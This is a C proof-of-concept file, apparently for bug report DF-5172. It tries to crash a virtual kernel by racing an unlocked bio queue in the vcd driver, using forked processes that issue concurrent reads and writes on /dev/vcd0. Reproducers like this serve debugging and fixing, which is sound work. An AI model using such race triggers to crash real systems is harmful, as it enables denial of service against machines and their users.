DF-5172 / vcd_race_poc.c
/* * DF-5172 PoC attempt - vcdstrategy() drains sc->bio_queue with no lock. * * Runs as PID1 inside: vkernel64 -m 256M -s 2 -r root.img -c ffs.img \ * -e init_path=/race * * Two+ processes issuing concurrent raw reads on the same vcd drive the * unlocked bioqdisksort()/bioq_takefirst() pair (vcd.c:148-149) from two * vCPU threads. The pread() inside the drain loop widens the window. * * Success criterion: vkernel traps/panics (list corruption, double biodone) * before the timeout; "RACE SURVIVED" means not reproduced this run. */ extern long write(int, const void *, unsigned long); extern void _exit(long); extern int open(const char *, int, ...); extern long read(int, void *, unsigned long); extern long lseek(int, long, int); extern int fork(void); extern int waitpid(int, int *, int); extern unsigned int sleep(unsigned int); extern unsigned int alarm(unsigned int); #define O_RDONLY 0 #define O_RDWR 2 #define SEEK_SET 0 #define NCHILD 4 #define SECS 25 #define ALIGN 2048 /* vcd media sector size */ static int consfd = -1; static void msg(const char *s) { const char *p = s; while (*p) p++; if (consfd < 0) consfd = open("/dev/console", 1 /* O_WRONLY */); if (consfd >= 0) write(consfd, s, (unsigned long)(p - s)); } static void child(int fd, unsigned int seed, int dowrite) { static char buf[65536]; /* 32 vcd sectors */ unsigned int r = seed ? seed : 1; long sz = lseek(fd, 0, 2 /*SEEK_END*/); int i; if (sz <= 0) sz = 1 << 20; for (i = 0; i < 20000; i++) { r = r * 1103515245 + 12345; lseek(fd, (long)((r >> 8) % (unsigned int)sz) & ~(ALIGN - 1), SEEK_SET); if (dowrite) write(fd, buf, sizeof(buf)); else read(fd, buf, sizeof(buf)); } _exit(0); } int main(void) { int fd, i, st; msg("DF-5172 vcd bioq race attempt (ncpus>=2 required)\n"); fd = open("/dev/vcd0", O_RDONLY); if (fd < 0) { msg("open(/dev/vcd0) FAILED\n"); _exit(1); } if (fd >= 0) close(fd); fd = open("/dev/vcd0", O_RDWR); msg("mixed r/w: reopening O_RDWR\n"); for (i = 0; i < NCHILD; i++) { if (fork() == 0) child(fd, 1234u + (unsigned int)i, i & 1); } alarm(SECS); for (i = 0; i < NCHILD; i++) waitpid(-1, &st, 0); msg("RACE SURVIVED - no crash this run\n"); _exit(0); } |